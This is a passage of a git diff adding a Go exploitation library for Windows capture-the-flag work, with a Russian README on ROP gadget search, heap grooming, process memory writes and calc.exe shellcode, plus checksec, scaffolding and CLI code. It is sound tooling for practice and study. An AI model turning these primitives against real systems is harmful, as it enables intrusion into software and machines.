RVA} +imports, _ := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA} + +// sec.VirtualAddress (RVA в памяти) и sec.Offset (PointerToRawData, оффсет в +// файле) — разные числа, оба нужны +for _, sec := range pf.Sections() { + _ = sec.VirtualAddress + _ = sec.Offset +} + +// image base импортированных DLL в этом процессе (LoadLibrary). Системные DLL +// рандомизируются раз за перезагрузку, не на процесс — значение верно для любого +// процесса до ребута, без запуска таргета. +libs, _ := pf.ImportedLibs() // []ImportedLib{Name, Base, Err} + +offsets, _ := pf.SearchBytes([]byte("cmd.exe\x00")) + +// PE из памяти живого процесса +memBase, _ := winpwn.ResolveModuleBase(pid, "kernel32.dll") +pf2, _ := winpwn.OpenPEFromProcess(pid, memBase) +``` + +## Символы живого процесса + +Аналог pwntools: `p.libs["kernel32.dll"]` и `p.symbols["kernel32.dll"]["WinExec"]`. + +```go +tube, _ := winpwn.Spawn("chal.exe") +sym := winpwn.NewProcessSymbols(tube.PID()) +defer sym.Close() + +// база DLL (p.libs["..."]) +k32, _ := sym.Base("kernel32.dll") +ntdll, _ := sym.Base("ntdll.dll") + +// абсолютный VA экспорта (p.symbols["..."]["..."]) +winexec, _ := sym.Symbol("kernel32.dll", "WinExec") +ntAlloc, _ := sym.Symbol("ntdll.dll", "NtAllocateVirtualMemory") + +// все загруженные модули (p.libs целиком) +mods, _ := sym.Modules() // map[string]uint64 + +// все экспорты одной DLL +all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64 + +// один вызов без struct +va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec") +libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr +``` + +`ProcessSymbols` кеширует PEFile на DLL — повторные `Symbol` для одной DLL не +переоткрывают файл. + +## ROP + +Бэкенд — `rp-win.exe` (по умолчанию `C:\tools\rp-win\rp-win.exe`, переопределяется +через `RP_WIN_EXE`). `NewROPExternal(path, toolPath)` — явный путь до другого +билда rp++. + +```go +rop, _ := winpwn.NewROP("chal.exe") +defer rop.Close() + +// find["pop rcx ; ret"][0] в pwntools-стиле: одно выражение. Ранжировано так, +// что [0] — самый чистый вариант (точное совпадение и более короткие инструкции +// приоритетнее гаджета с той же подстрокой по меньшему адресу с мусорным +// префиксом вроде "ror ... ; pop rcx ; ret"). +addr := rop.Find("pop rcx ; ret")[0].Address + +gadgets, _ := rop.Search("pop rcx ; ret") // тот же поиск, (results, error) +gadgets, _ := rop.SearchRegex(`^pop r\w+ ; ret$`) +lines, _ := rop.Disassemble(gadgets[0].Address, 3) // ["pop rcx", "ret"] +``` + +## Packing + +```go +winpwn.P64(addr) // uint64 → []byte LE +winpwn.P32(addr) +winpwn.P16(addr) +winpwn.U64(buf) // []byte LE → uint64 +winpwn.U32(buf) + +winpwn.Enhex(data) // []byte → "aabbcc..." +winpwn.Unhex(hexstr) // "aabbcc..." → []byte, error +winpwn.Xor(data, key) // XOR, ключ циклится +winpwn.Hexdump(data) // hex+ASCII дамп, строка +``` + +## Cyclic patterns + +```go +pattern := winpwn.Cyclic(200) // de Bruijn n=4 +pattern8 := winpwn.CyclicN(200, 8) // n=8 для 64-битных указателей + +offset := winpwn.CyclicFind(crashedRIPBytes) +offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) +``` + +## Heap API + +Все функции работают с любым `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, буфер +в тесте). Только `ListProcessHeaps` требует живой процесс. + +### Найти кучи + +```go +heaps, _ := winpwn.ListProcessHeaps(pid) // читает PEB.ProcessHeaps +mem, _ := winpwn.OpenProcessMemory(pid, 0) +kind, _ := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT / HeapKindSegment +``` + +### NT Heap + +```go +h, _ := winpwn.ReadHeap(mem, heapAddr) +// h.Flags, h.FrontEndHeapType, h.FrontEndHeap, h.EncodingActive() + +entries, _ := h.WalkAllHeapEntries(mem) // все сегменты +entries, _ := h.WalkSegment0(mem) // только Segment0 + +// Поля записи +e.Addr; e.BlockSize(); e.UserSize(); e.UserData() +e.Busy(); e.LastEntry() + +// Анализ +stats := winpwn.SummariseEntries(entries) +// stats.BusyEntries, stats.FreeEntries, stats.BusyBytes, stats.FreeBytes +pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry — смежные busy записи +hits := winpwn.EntriesWithUserData(entries, leakedAddr) // обратный поиск по адресу +``` + +### NT Heap LFH + +```go +buckets, _ := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap) +bucket, _ := winpwn.FindLFHBucket(buckets, 32) +// ищет BlockSize >= 32+16 (LFH блоки включают 16-байтный заголовок) + +subsegAddr, _ := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index) +subseg, _ := winpwn.ReadLFHSubsegment(mem, subsegAddr) +// subseg.BlockSize, subseg.BlockCount +// subseg.Busy — []bool, Busy[i] == true → слот занят + +// Адрес слота по индексу — нужен один известный адрес для калибровки +off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) +addr := subseg.BlockAddress(off, i) +idx, ok := subseg.SlotOf(off, knownAddr) +``` + +Build 10.0.26100: +- LFH активируется на бакет после ≈19 аллокаций одного размера. +- `_HEAP_USERDATA_HEADER.EncodedOffsets` зашифрован — используй калибровку. +- XOR-ключ LFH-блоков не восстановлен (нужен отдельный проход). + +### Segment Heap + +```go +sh, _ := winpwn.ReadSegmentHeap(mem, heapAddr) +// sh.VS.CommittedUnits, sh.VS.FreeUnits, sh.VS.SubsegmentCount +// sh.LFH.ActiveBuckets — []SegmentLFHBucket{Index, TotalBlockCount} + +// Смежная пара из набора утечённых адресов (без парсинга заголовков) +lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // первая пара +pairs := winpwn.AdjacentAddressPairs(addrs, 32) // все пары +``` + +`heap_handle + 0x2c0` → адрес внутри ntdll (build 10.0.26100). Leak ntdll base из +утечённого адреса кучи. + +### Обход памяти процесса + +```go +mem, _ := winpwn.OpenProcessMemory(pid, 0) +defer mem.Close() + +n, err := mem.ReadAt(buf, int64(addr)) +n, err := mem.WriteAt(data, int64(addr)) +``` + +## Debugger + +```go +tube, pid, _ := winpwn.SpawnSuspended("chal.exe") +dbg, _ := winpwn.Attach(pid) // до ResumeMainThread +winpwn.ResumeMainThread(pid) + +for ev := range dbg.Events() { + // ev.Kind: EventBreakpoint, EventException, EventCreateProcess, + // EventLoadDll, EventExitProcess, ... + if ev.Kind == winpwn.EventBreakpoint { + regs, _ := dbg.GetContext(ev.ThreadID) + fmt.Printf("RIP=0x%x RSP=0x%x\n", regs.Rip, regs.Rsp) + } + dbg.Continue(ev) // обязательно для каждого события +} + +dbg.SetBreakpoint(addr) +dbg.RemoveBreakpoint(addr) +dbg.ReadMemory(addr, 32) +dbg.WriteMemory(addr, data) +dbg.Close() // detach без убийства процесса +``` + +## SprayAndFind — примитив для heap grooming + +```go +older, newer, attempts, ok, err := winpwn.SprayAndFind( + seed, // []winpwn.SprayResult[K] — известные цели, или nil + maxAttempts, + func(attempt int) (winpwn.SprayResult[K], error) { + // один шаг спрея — вернуть (id, утечённое значение) + }, + func(a, b K) bool { + // условие совпадения: равенство, расстояние, что угодно + }, +) +``` + +UAF (равенство адресов): + +```go +winpwn.SprayAndFind( + []winpwn.SprayResult[uint64]{{ID: victimID, Key: victimAddr}}, + 64, + func(i int) (winpwn.SprayResult[uint64], error) { /* один B-буфер */ }, + func(a, b uint64) bool { return a == b }, +) +``` + +Heap overflow (смежность, расстояние ровно 32): + +```go +winpwn.SprayAndFind(nil, 20, + func(i int) (winpwn.SprayResult[uint64], error) { /* один A-объект */ }, + func(x, y uint64) bool { d := int64(y)-int64(x); return d == 32 || d == -32 }, +) +``` + +## Shellcode + +```go +code, _ := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, находит kernel32 через PEB +winpwn.ExecuteShellcode(code) // запустить локально для проверки +``` + +## Minidump + +```go +m, _ := winpwn.OpenMinidump("crash.dmp") +defer m.Close() + +mods, _ := m.Modules() +exc, _ := m.Exception() // ExceptionCode, ExceptionAddress +raw, _ := m.RawStream(winpwn.StreamSystemInfo) +``` + +## Примеры задач (с решениями) + +| Задача | Техника | ASLR | Файл | +|--------|---------|------|------| +| `task1_leak` | info leak + redirect | Нет | `workspace/task1_leak/` | +| `task2_rop` | buffer overflow + ROP + DEP | Нет | `workspace/task2_rop/` | +| `task3_fmtstr` | format string | Нет | `workspace/task3_fmtstr/` | +| `bof_basic` | stack overflow | Нет | `workspace/bof_basic/` | +| `heap_lfh` | UAF + LFH grooming | Нет | `workspace/heap_lfh/` | +| `heap_segment` | overflow + Segment Heap | Нет | `workspace/heap_segment/` | +| `heap_typemix` | UAF type confusion, без LFH | Нет | `workspace/heap_typemix/` | +| `heap_overflow` | adjacent chunk overflow, NT Heap | Нет | `workspace/heap_overflow/` | +| `heap_info_leak` | OOB read → утечка адреса → UAF | **Да** | `workspace/heap_info_leak/` | + +```bash +cd C:\tools\workspace\heap_lfh +go run . +``` diff --git a/authenticode_other.go b/authenticode_other.go new file mode 100644 index 0000000..80f9c5f --- /dev/null +++ b/authenticode_other.go @@ -0,0 +1,13 @@ +//go:build !windows + +package winpwn + +import "errors" + +// VerifyAuthenticodeSignature is only available when winpwn is built for +// Windows (it shells out to wintrust.dll via WinVerifyTrust). Use +// CheckSecResult.AuthenticodeSigned for the cross-platform presence-only +// check. +func VerifyAuthenticodeSignature(path string) (bool, error) { + return false, errors.New("VerifyAuthenticodeSignature requires GOOS=windows") +} diff --git a/authenticode_windows.go b/authenticode_windows.go new file mode 100644 index 0000000..e5a5353 --- /dev/null +++ b/authenticode_windows.go @@ -0,0 +1,125 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "unsafe" + + "golang.org/x/sys/windows" +) + +// guid mirrors the Win32 GUID struct layout. +type guid struct { + Data1 uint32 + Data2 uint16 + Data3 uint16 + Data4 [8]byte +} + +// WINTRUST_ACTION_GENERIC_VERIFY_V2, from wintrust.h. +var wintrustActionGenericVerifyV2 = guid{ + Data1: 0x00aac56b, + Data2: 0xcd44, + Data3: 0x11d0, + Data4: [8]byte{0x8c, 0xc2, 0x00, 0xc0, 0x4f, 0xc2, 0x95, 0xee}, +} + +// wintrustFileInfo mirrors WINTRUST_FILE_INFO (wintrust.h). +type wintrustFileInfo struct { + CbStruct uint32 + PcwszFilePath *uint16 + HFile windows.Handle + PgKnownSubject *guid +} + +// wintrustData mirrors WINTRUST_DATA (wintrust.h). The struct is normally a +// union of pFile/pCatalog/pBlob/pSgnr/pCert at the PFile position; we only +// ever populate the file-info variant. +type wintrustData struct { + CbStruct uint32 + PPolicyCallbackData uintptr + PSIPClientData uintptr + DwUIChoice uint32 + FdwRevocationChecks uint32 + DwUnionChoice uint32 + PFile *wintrustFileInfo + DwStateAction uint32 + HWVTStateData windows.Handle + PwszURLReference *uint16 + DwProvFlags uint32 + DwUIContext uint32 + PSignatureSettings uintptr +} + +const ( + wtdUINone = 2 + wtdRevokeNone = 0 + wtdChoiceFile = 1 + + wtdStateActionVerify = 1 + wtdStateActionClose = 2 + + wtdSaferFlag = 0x00000100 + wtdCacheOnlyURLRetrieval = 0x00001000 + wtdDisableMD2MD4 = 0x00002000 +) + +var ( + modWintrust = windows.NewLazySystemDLL("wintrust.dll") + procWinVerifyTrust = modWintrust.NewProc("WinVerifyTrust") +) + +// VerifyAuthenticodeSignature asks the OS to validate the Authenticode +// signature on path via WinVerifyTrust — a real cryptographic chain/hash +// check, unlike CheckSecResult.AuthenticodeSigned which only checks whether +// a signature directory is present in the PE at all. Revocation checking is +// disabled, so this makes no network calls; it verifies the embedded +// certificate chain and file hash only. +// +// Most Windows system binaries (System32) are catalog-signed (.cat files) +// rather than embedded-signed and will report TRUST_E_NOSIGNATURE here even +// though Windows itself trusts them — this function only validates an +// Authenticode signature embedded directly in the PE. +func VerifyAuthenticodeSignature(path string) (bool, error) { + pathPtr, err := windows.UTF16PtrFromString(path) + if err != nil { + return false, err + } + + fileInfo := wintrustFileInfo{ + CbStruct: uint32(unsafe.Sizeof(wintrustFileInfo{})), + PcwszFilePath: pathPtr, + } + + data := wintrustData{ + CbStruct: uint32(unsafe.Sizeof(wintrustData{})), + DwUIChoice: wtdUINone, + FdwRevocationChecks: wtdRevokeNone, + DwUnionChoice: wtdChoiceFile, + PFile: &fileInfo, + DwStateAction: wtdStateActionVerify, + DwProvFlags: wtdSaferFlag | wtdCacheOnlyURLRetrieval | wtdDisableMD2MD4, + } + + ret, _, _ := procWinVerifyTrust.Call( + 0, // hwnd: NULL, dwUIChoice already suppresses any UI + uintptr(unsafe.Pointer(&wintrustActionGenericVerifyV2)), + uintptr(unsafe.Pointer(&data)), + ) + status := uint32(ret) + + // WinVerifyTrust requires releasing the verification state it allocated, + // regardless of the outcome above. + data.DwStateAction = wtdStateActionClose + procWinVerifyTrust.Call( + 0, + uintptr(unsafe.Pointer(&wintrustActionGenericVerifyV2)), + uintptr(unsafe.Pointer(&data)), + ) + + if status != 0 { + return false, fmt.Errorf("WinVerifyTrust: signature not valid (status 0x%X)", status) + } + return true, nil +} diff --git a/checksec.go b/checksec.go new file mode 100644 index 0000000..651b4dc --- /dev/null +++ b/checksec.go @@ -0,0 +1,226 @@ +package winpwn + +import ( + "unsafe" +) + +// DllCharacteristics bits (winnt.h IMAGE_DLLCHARACTERISTICS_*). +const ( + dllCharHighEntropyVA = 0x0020 + dllCharDynamicBase = 0x0040 // ASLR + dllCharForceIntegrity = 0x0080 + dllCharNXCompat = 0x0100 // DEP + dllCharNoIsolation = 0x0200 + dllCharNoSEH = 0x0400 + dllCharAppContainer = 0x1000 + dllCharGuardCF = 0x4000 // CFG +) + +// Data directory indices (winnt.h IMAGE_DIRECTORY_ENTRY_*). +const ( + dirEntrySecurity = 4 // Authenticode; VirtualAddress here is a *file offset*, not an RVA. + dirEntryLoadConfig = 10 + dirEntryComDescriptor = 14 // .NET CLR header +) + +// IMAGE_GUARD_CF_INSTRUMENTED, from the GuardFlags field of the Load Config +// Directory: set when the binary actually has CFG checks emitted, as +// opposed to just the (necessary but not sufficient) DllCharacteristics bit. +const imageGuardCFInstrumented = 0x00000100 + +// CheckSecResult mirrors pwntools'/checksec's binary protection summary, +// adapted to the mitigations that actually exist on PE/Windows. +type CheckSecResult struct { + Is64Bit bool + + ASLR bool // IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + HighEntropyVA bool // IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA (64-bit ASLR range) + DEP bool // IMAGE_DLLCHARACTERISTICS_NX_COMPAT + CFG bool // Control Flow Guard + ForceIntegrity bool + IsolationAware bool + AppContainer bool + DotNET bool // has a CLR/COM descriptor header, i.e. is a managed binary + + // SEH/SafeSEH only mean anything for 32-bit PE32 images: x64 uses + // table-based structured exception handling and isn't subject to the + // classic SEH-chain-overwrite technique at all. + SEHApplicable bool + HasSEH bool // false if compiled with the /SAFESEH-equivalent IMAGE_DLLCHARACTERISTICS_NO_SEH + SafeSEH bool // SEHandlerTable present in Load Config + + GSHeuristic bool // SecurityCookie present in Load Config (best-effort, see Checksec doc comment) + + AuthenticodeSigned bool // IMAGE_DIRECTORY_ENTRY_SECURITY present (presence only, not cryptographically verified) +} + +// Checksec inspects compile-time/link-time exploit mitigations, the Go +// analogue of pwntools'/winchecksec's binary checksec report. +// +// GSHeuristic is exactly that: a heuristic. Unlike ASLR/DEP/CFG which are +// global, unambiguous flags, /GS stack-cookie insertion is decided by the +// compiler per function. The presence of a non-zero SecurityCookie slot in +// the Load Config Directory only tells you the binary *could* use stack +// cookies, not that the specific function you're exploiting does — verify +// against the actual disassembly before relying on it. +func (p *PEFile) Checksec() (*CheckSecResult, error) { + h, err := p.header() + if err != nil { + return nil, err + } + + r := &CheckSecResult{ + Is64Bit: h.is64, + ASLR: h.dllCharacteristics&dllCharDynamicBase != 0, + HighEntropyVA: h.dllCharacteristics&dllCharHighEntropyVA != 0, + DEP: h.dllCharacteristics&dllCharNXCompat != 0, + CFG: h.dllCharacteristics&dllCharGuardCF != 0, + ForceIntegrity: h.dllCharacteristics&dllCharForceIntegrity != 0, + IsolationAware: h.dllCharacteristics&dllCharNoIsolation == 0, + AppContainer: h.dllCharacteristics&dllCharAppContainer != 0, + SEHApplicable: !h.is64, + HasSEH: h.dllCharacteristics&dllCharNoSEH == 0, + } + + r.DotNET = h.dataDirectory[dirEntryComDescriptor].VirtualAddress != 0 + r.AuthenticodeSigned = h.dataDirectory[dirEntrySecurity].VirtualAddress != 0 + + lc, err := p.readLoadConfig(h) + if err == nil && lc != nil { + r.SafeSEH = !h.is64 && lc.sehHandlerTable != 0 + r.GSHeuristic = lc.securityCookie != 0 + // Corroborate the DllCharacteristics CFG bit with the GuardFlags + // instrumentation bit when we have a Load Config to check it against. + r.CFG = r.CFG && lc.guardFlags&imageGuardCFInstrumented != 0 + } + + return r, nil +} + +// loadConfig64/loadConfig32 mirror winnt.h's IMAGE_LOAD_CONFIG_DIRECTORY64/32: +// same field order in both, only pointer-sized members change width. Named +// (not anonymous) so unsafe.Offsetof can validate against each directory's +// self-reported Size — older toolchains emit a shorter struct with no +// SafeSEH/Guard CF fields at all, and reading past Size would misattribute +// zeroed padding as "feature present". +type loadConfig64 struct { + Size uint32 + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + GlobalFlagsClear uint32 + GlobalFlagsSet uint32 + CriticalSectionDefaultTimeout uint32 + DeCommitFreeBlockThreshold uint64 + DeCommitTotalFreeThreshold uint64 + LockPrefixTable uint64 + MaximumAllocationSize uint64 + VirtualMemoryThreshold uint64 + ProcessAffinityMask uint64 + ProcessHeapFlags uint32 + CSDVersion uint16 + DependentLoadFlags uint16 + EditList uint64 + SecurityCookie uint64 + SEHandlerTable uint64 + SEHandlerCount uint64 + GuardCFCheckFunctionPointer uint64 + GuardCFDispatchFunctionPointer uint64 + GuardCFFunctionTable uint64 + GuardCFFunctionCount uint64 + GuardFlags uint32 +} + +type loadConfig32 struct { + Size uint32 + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + GlobalFlagsClear uint32 + GlobalFlagsSet uint32 + CriticalSectionDefaultTimeout uint32 + DeCommitFreeBlockThreshold uint32 + DeCommitTotalFreeThreshold uint32 + LockPrefixTable uint32 + MaximumAllocationSize uint32 + VirtualMemoryThreshold uint32 + ProcessAffinityMask uint32 + ProcessHeapFlags uint32 + CSDVersion uint16 + DependentLoadFlags uint16 + EditList uint32 + SecurityCookie uint32 + SEHandlerTable uint32 + SEHandlerCount uint32 + GuardCFCheckFunctionPointer uint32 + GuardCFDispatchFunctionPointer uint32 + GuardCFFunctionTable uint32 + GuardCFFunctionCount uint32 + GuardFlags uint32 +} + +// Field offsets, computed by the compiler instead of hand-counted, used to +// validate against each Load Config's self-reported Size. +var ( + offsetOf64SecurityCookie = uint32(unsafe.Offsetof(loadConfig64{}.SecurityCookie)) + offsetOf64SEHandlerCount = uint32(unsafe.Offsetof(loadConfig64{}.SEHandlerCount)) + offsetOf64GuardFlags = uint32(unsafe.Offsetof(loadConfig64{}.GuardFlags)) + + offsetOf32SecurityCookie = uint32(unsafe.Offsetof(loadConfig32{}.SecurityCookie)) + offsetOf32SEHandlerCount = uint32(unsafe.Offsetof(loadConfig32{}.SEHandlerCount)) + offsetOf32GuardFlags = uint32(unsafe.Offsetof(loadConfig32{}.GuardFlags)) +) + +// loadConfigInfo holds the handful of Load Config Directory fields checksec +// cares about, already normalized to a common width. +type loadConfigInfo struct { + securityCookie uint64 + sehHandlerTable uint64 + guardFlags uint32 +} + +// readLoadConfig parses the Load Config Directory, respecting its own Size +// field so we never trust fields beyond what the linker actually emitted. +func (p *PEFile) readLoadConfig(h peHeader) (*loadConfigInfo, error) { + dir := h.dataDirectory[dirEntryLoadConfig] + if dir.VirtualAddress == 0 { + return nil, nil + } + offset := p.RVAToFileOffset(dir.VirtualAddress) + if offset == 0 { + return nil, nil + } + + info := &loadConfigInfo{} + if h.is64 { + var lc loadConfig64 + if err := p.readStructAt(offset, &lc); err != nil { + return nil, err + } + if lc.Size > offsetOf64SecurityCookie { + info.securityCookie = lc.SecurityCookie + } + if lc.Size > offsetOf64SEHandlerCount { + info.sehHandlerTable = lc.SEHandlerTable + } + if lc.Size > offsetOf64GuardFlags { + info.guardFlags = lc.GuardFlags + } + return info, nil + } + + var lc loadConfig32 + if err := p.readStructAt(offset, &lc); err != nil { + return nil, err + } + if lc.Size > offsetOf32SecurityCookie { + info.securityCookie = uint64(lc.SecurityCookie) + } + if lc.Size > offsetOf32SEHandlerCount { + info.sehHandlerTable = uint64(lc.SEHandlerTable) + } + if lc.Size > offsetOf32GuardFlags { + info.guardFlags = lc.GuardFlags + } + return info, nil +} diff --git a/cmd/pwninit/main.go b/cmd/pwninit/main.go new file mode 100644 index 0000000..c2595dd --- /dev/null +++ b/cmd/pwninit/main.go @@ -0,0 +1,311 @@ +// Command pwninit is a task-bootstrapper for winpwn, the analogue of the +// pwninit tool pwntools users reach for: point it at a challenge directory +// and it (1) prints the recon you'd otherwise run by hand -- arch, +// checksec, sections -- so a new task is legible in one command, and (2) +// scaffolds a minimal solve script (go.mod wired up via a replace directive +// + a bare Spawn/Interactive main.go) so `go run .` works from that +// directory immediately, instead of copying the workspace template by hand. +package main + +import ( + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "winpwn" +) + +// defaultLibPath is where the winpwn source lives on this machine. There's +// no published module to `go get`, so every generated go.mod needs a +// `replace winpwn => ` pointing at a real winpwn checkout; override +// with the WINPWN_HOME environment variable if it ever moves. +const defaultLibPath = `C:\tools\go_pwner` + +func main() { + if err := run(os.Args[1:]); err != nil { + fmt.Fprintf(os.Stderr, "pwninit: %v\n", err) + os.Exit(1) + } +} + +func run(args []string) error { + force := false + targetArg := "" + for _, a := range args { + switch a { + case "-force": + force = true + case "-h", "--help", "help": + usage() + return nil + default: + targetArg = a + } + } + + cwd, err := os.Getwd() + if err != nil { + return err + } + + target, err := resolveTarget(cwd, targetArg) + if err != nil { + return err + } + targetBase := filepath.Base(target) + fmt.Printf("[pwninit] target: %s\n\n", targetBase) + + if err := printRecon(target); err != nil { + return err + } + + libPath, err := resolveLibPath() + if err != nil { + return err + } + + if err := scaffold(cwd, targetBase, libPath, force); err != nil { + return err + } + + fmt.Println("\n[pwninit] wrote go.mod + main.go -- next: go run .") + return nil +} + +func usage() { + fmt.Fprint(os.Stderr, `pwninit -- scaffold a winpwn solve script for the challenge in this directory + +Usage: + pwninit auto-detect the single .exe/.dll in the current directory + pwninit use this file explicitly + pwninit -force overwrite an existing go.mod/main.go in this directory + +Prints checksec/sections recon immediately, then writes a go.mod (replace +winpwn => `+defaultLibPath+`, override via WINPWN_HOME) and a minimal +main.go (Spawn + Interactive, nothing else assumed) ready for "go run .". +`) +} + +// resolveTarget returns explicit if set, otherwise the sole .exe/.dll in +// dir -- erroring with the full candidate list if that's ambiguous, the way +// a human would want to know *why* auto-detection refused to guess. +func resolveTarget(dir, explicit string) (string, error) { + if explicit != "" { + if _, err := os.Stat(explicit); err != nil { + return "", fmt.Errorf("target %q: %w", explicit, err) + } + return explicit, nil + } + + var candidates []string + for _, pattern := range []string{"*.exe", "*.dll"} { + matches, _ := filepath.Glob(filepath.Join(dir, pattern)) + candidates = append(candidates, matches...) + } + + switch len(candidates) { + case 0: + return "", errors.New("no .exe/.dll found in this directory -- pass the target explicitly: pwninit ") + case 1: + return candidates[0], nil + default: + names := make([]string, len(candidates)) + for i, c := range candidates { + names[i] = filepath.Base(c) + } + return "", fmt.Errorf("multiple binaries found (%s) -- pass the target explicitly: pwninit ", + strings.Join(names, ", ")) + } +} + +// printRecon prints the "understand this task in one command" block: arch, +// checksec, and section permissions/entropy. +func printRecon(target string) error { + pf, err := winpwn.OpenPE(target) + if err != nil { + return err + } + defer pf.Close() + + is64, err := pf.Is64Bit() + if err != nil { + return err + } + base, _ := pf.ImageBase() + entry, _ := pf.EntryPoint() + + arch := "x86" + if is64 { + arch = "x64" + } + fmt.Printf("Arch: %s\n", arch) + fmt.Printf("ImageBase: 0x%X\n", base) + fmt.Printf("EntryPoint: 0x%X\n", entry) + + r, err := pf.Checksec() + if err != nil { + return err + } + fmt.Println() + fmt.Printf("ASLR: %s\n", yesNo(r.ASLR)) + fmt.Printf("HighEntropyVA: %s\n", yesNo(r.HighEntropyVA)) + fmt.Printf("DEP/NX: %s\n", yesNo(r.DEP)) + fmt.Printf("CFG: %s\n", yesNo(r.CFG)) + if r.SEHApplicable { + fmt.Printf("SafeSEH: %s\n", yesNo(r.SafeSEH)) + } else { + fmt.Printf("SafeSEH: N/A (x64 uses table-based SEH)\n") + } + fmt.Printf("GS (heuristic): %s\n", yesNo(r.GSHeuristic)) + fmt.Printf("Authenticode: %s\n", yesNo(r.AuthenticodeSigned)) + + fmt.Println("\n--- sections ---") + for _, sec := range pf.Sections() { + perm := "" + if sec.IsReadable() { + perm += "R" + } else { + perm += "-" + } + if sec.IsWritable() { + perm += "W" + } else { + perm += "-" + } + if sec.IsExecutable() { + perm += "X" + } else { + perm += "-" + } + entropy, _ := sec.Entropy() + fmt.Printf(" %-8s %s VA=0x%-8X Offset=0x%-8X Size=0x%-8X entropy=%.2f\n", + sec.Name, perm, sec.VirtualAddress, sec.Offset, sec.VirtualSize, entropy) + } + + if libs, err := pf.ImportedLibs(); err == nil { + fmt.Println("\n--- imported libs (live image base -- stable until next reboot) ---") + for _, lib := range libs { + if lib.Err != nil { + fmt.Printf(" %-24s (failed to load: %v)\n", lib.Name, lib.Err) + continue + } + fmt.Printf(" %-24s 0x%016X\n", lib.Name, lib.Base) + } + } + + return nil +} + +func yesNo(b bool) string { + if b { + return "Yes" + } + return "No" +} + +// resolveLibPath finds a real winpwn checkout to point the generated +// go.mod's replace directive at, honoring WINPWN_HOME over the hardcoded +// default so this still works if the library ever moves. +func resolveLibPath() (string, error) { + path := os.Getenv("WINPWN_HOME") + if path == "" { + path = defaultLibPath + } + goModPath := filepath.Join(path, "go.mod") + data, err := os.ReadFile(goModPath) + if err != nil { + return "", fmt.Errorf("can't find winpwn at %q (%w) -- set WINPWN_HOME to override", path, err) + } + if !strings.Contains(string(data), "module winpwn") { + return "", fmt.Errorf("%q doesn't look like the winpwn module (go.mod has no \"module winpwn\")", path) + } + abs, err := filepath.Abs(path) + if err != nil { + return "", err + } + return filepath.ToSlash(abs), nil +} + +// scaffold writes go.mod + main.go into dir and runs `go mod tidy` (with +// GOPROXY=off: winpwn's transitive deps are already in the local module +// cache from building winpwn itself, so this never needs network access) +// to fill in the indirect requires/go.sum instead of hardcoding version +// strings that would drift the moment winpwn's own go.mod changes. +func scaffold(dir, targetBase, libPath string, force bool) error { + goModPath := filepath.Join(dir, "go.mod") + mainGoPath := filepath.Join(dir, "main.go") + + if !force { + for _, p := range []string{goModPath, mainGoPath} { + if _, err := os.Stat(p); err == nil { + return fmt.Errorf("%s already exists -- pass -force to overwrite", p) + } + } + } + + moduleName := sanitizeModuleName(filepath.Base(dir)) + + goMod := fmt.Sprintf("module %s\n\ngo 1.26.2\n\nrequire winpwn v0.0.0\n\nreplace winpwn => %s\n", + moduleName, libPath) + if err := os.WriteFile(goModPath, []byte(goMod), 0644); err != nil { + return err + } + + if err := os.WriteFile(mainGoPath, []byte(mainGoSkeleton(targetBase)), 0644); err != nil { + return err + } + + cmd := exec.Command("go", "mod", "tidy") + cmd.Dir = dir + cmd.Env = append(os.Environ(), "GOPROXY=off") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("go mod tidy: %w\n%s", err, out) + } + return nil +} + +// sanitizeModuleName turns a directory name into something `go build` +// accepts as a module path -- Go module paths reject spaces and most +// punctuation, and CTF task directories are rarely named with that in mind. +func sanitizeModuleName(name string) string { + var sb strings.Builder + for _, r := range name { + switch { + case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '_', r == '-': + sb.WriteRune(r) + default: + sb.WriteRune('_') + } + } + if sb.Len() == 0 { + return "solve" + } + return sb.String() +} + +func mainGoSkeleton(targetBase string) string { + return fmt.Sprintf(`package main + +import ( + "log" + + "winpwn" +) + +const target = %q + +func main() { + tube, err := winpwn.Spawn(target) + if err != nil { + log.Fatalf("Spawn: %%v", err) + } + + // TODO: exploit here + + tube.Interactive() +} +`, targetBase) +} diff --git a/cmd/winpwn/main.go b/cmd/winpwn/main.go new file mode 100644 index 0000000..0392a37 --- /dev/null +++ b/cmd/winpwn/main.go @@ -0,0 +1,573 @@ +// Command winpwn is a thin CLI wrapper around the winpwn library, the +// analogue of pwntools' `pwn` command -- for the quick "just tell me the +// answer" cases (checksec, an offset, a gadget search) where spinning up a +// whole solve script is overkill. The library (package winpwn, used the +// way pwntools itself is: `import "winpwn"` in a real solve script) is +// still the primary interface; this is additive, not a replacement. +package main + +import ( + "errors" + "fmt" + "io" + "os" + "strconv" + "strings" + + "winpwn" +) + +func main() { + if len(os.Args) < 2 { + usage() + os.Exit(1) + } + + cmd := os.Args[1] + args := os.Args[2:] + + var err error + switch cmd { + case "checksec": + err = cmdChecksec(args) + case "cyclic": + err = cmdCyclic(args) + case "hex": + err = cmdHex(args) + case "unhex": + err = cmdUnhex(args) + case "hexdump": + err = cmdHexdump(args) + case "rop": + err = cmdRop(args) + case "bytes": + err = cmdBytes(args) + case "disasm": + err = cmdDisasm(args) + case "exports": + err = cmdExports(args) + case "imports": + err = cmdImports(args) + case "heap": + err = cmdHeap(args) + case "help", "-h", "--help": + usage() + return + default: + fmt.Fprintf(os.Stderr, "winpwn: unknown subcommand %q\n\n", cmd) + usage() + os.Exit(1) + } + + if err != nil { + fmt.Fprintf(os.Stderr, "winpwn: 